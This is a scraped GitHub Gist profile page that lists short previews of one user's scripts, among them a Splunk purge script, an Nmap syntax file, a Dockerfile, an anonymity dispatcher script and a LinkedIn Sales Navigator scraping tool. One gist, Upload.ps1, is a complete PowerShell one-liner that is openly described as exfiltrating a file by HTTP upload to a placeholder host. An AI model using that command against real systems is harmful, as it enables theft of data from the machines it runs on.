Skip to content

Instantly share code, notes, and snippets.

View r0t0shell's full-sized avatar
💥
Playing Global Thermonuclear War

Player 1 r0t0shell

💥
Playing Global Thermonuclear War
View GitHub Profile
@r0t0shell
r0t0shell / splunkpurge.fish
Created August 13, 2025 14:36
Fish script to permanently delete Splunk buckets older than 372 days.
#!/usr/bin/fish
set OLDER_THAN (date --date="372 days ago" +%s)
set mode $argv[1]
set folders $argv[2..-1]
if test (count $folders) -eq 0
echo "Err: no folders".
echo "Usage: $0 [delete|dryrun] <folder1> [folder2 ...]"
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
echo "This script must be run as root or under sudo".
echo "Attempting privilege escalation..."
exec sudo "$0" "$@"
fi
# Set name of user running this script.
if [ -n "$SUDO_USER" ]; then
@r0t0shell
r0t0shell / nmap.sublime-syntax
Created October 15, 2024 08:58
Sublime syntax file for colorized Nmap output. Compatible with batcat.
%YAML 1.2
---
name: Nmap
file_extensions:
- nmap
scope: source.nmap
contexts:
main:
- match: '#.*'
@r0t0shell
r0t0shell / Upload.ps1
Created August 26, 2024 00:14
A PowerShell one-liner to exfiltrate a file via HTTP file upload.
$F = Get-Item ".\filename"; $C = [System.IO.File]::ReadAllBytes($F.FullName); $R = [System.Net.WebRequest]::Create("http://server.local/"); $B=[System.Guid]::NewGuid().ToSTring(); $R.Method = "POST"; $R.ContentType = "multipart/form-data; boundary=$B"; $S = $R.GetRequestStream(); $E = [System.Text.Encoding]::ASCII; $S.Write($E.GetBytes("--$B`r`n"), 0, ("--$B`r`n").Length); $S.Write($E.GetBytes("Content-Disposition: form-data; name=`"file`"; filename=`"$($F.Name)`"`r`n"), 0, ("Content-Disposition: form-data; name=`"file`"; filename=`"$($F.Name)`"`r`n").Length); $S.Write($E.GetBytes("Content-Type: application/octet-stream`r`n`r`n"), 0, ("Content-Type: application/octet-stream`r`n`r`n").Length);
$S.Write($C, 0, $C.Length); $S.Write($E.GetBytes("`r`n--$B--`r`n"), 0, ("`r`n--$B--`r`n").Length); $S.Close(); $RE = $R.GetResponse();
@r0t0shell
r0t0shell / Dockerfile
Created March 11, 2023 11:08
Dockerfile for movcc container
FROM ubuntu:22.04 AS movcc
RUN apt update -y
RUN apt install -y git libc6-dev-i386 build-essential
WORKDIR /root
RUN git clone https://github.com/xoreaxeaxeax/movfuscator
WORKDIR /root/movfuscator
RUN ./build.sh
RUN ./install.sh
@r0t0shell
r0t0shell / lit.py
Last active September 8, 2024 10:40
LinkedInTel v0.1 - Abuse LinkedIn Sales Navigator API for intelligence collection and SOCMINT
#!/usr/bin/python3
from requests import Session, Request
import argparse
import readline, sys, os, re
import traceback
import pkgutil
import json
import stdiomask
import pickle
import time
@r0t0shell
r0t0shell / pre-connect.sh
Last active May 3, 2025 04:19
NetworkManager dispatcher script written in Bash to enforce user anonymity just before connecting to a network.
#!/bin/bash
function get_ip {
echo $(ip -br a show $1)
}
function check_ip {
device=$1
ip_addr=$(get_ip "$device" | awk '{print $4}')
if [ -z "$ip_addr" ]
@r0t0shell
r0t0shell / nsaname.sh
Created December 10, 2021 04:46
Bash script to generate a random NSA project name.
#!/bin/bash
adjs=(
"loud"
"red"
"blue"
"green"
"yellow"
"irate"
"angry"
@r0t0shell
r0t0shell / speechsynthesizer.py
Created October 14, 2020 06:12
Text-to-speech with audio file (.wav) caching in Python 3.x using Google Cloud Platform and PyAudio.
# import necessary packages
from google.cloud import texttospeech
import pyaudio
import hashlib
import wave
import os
class SpeechSynthesizer:
def __init__(self, key_json):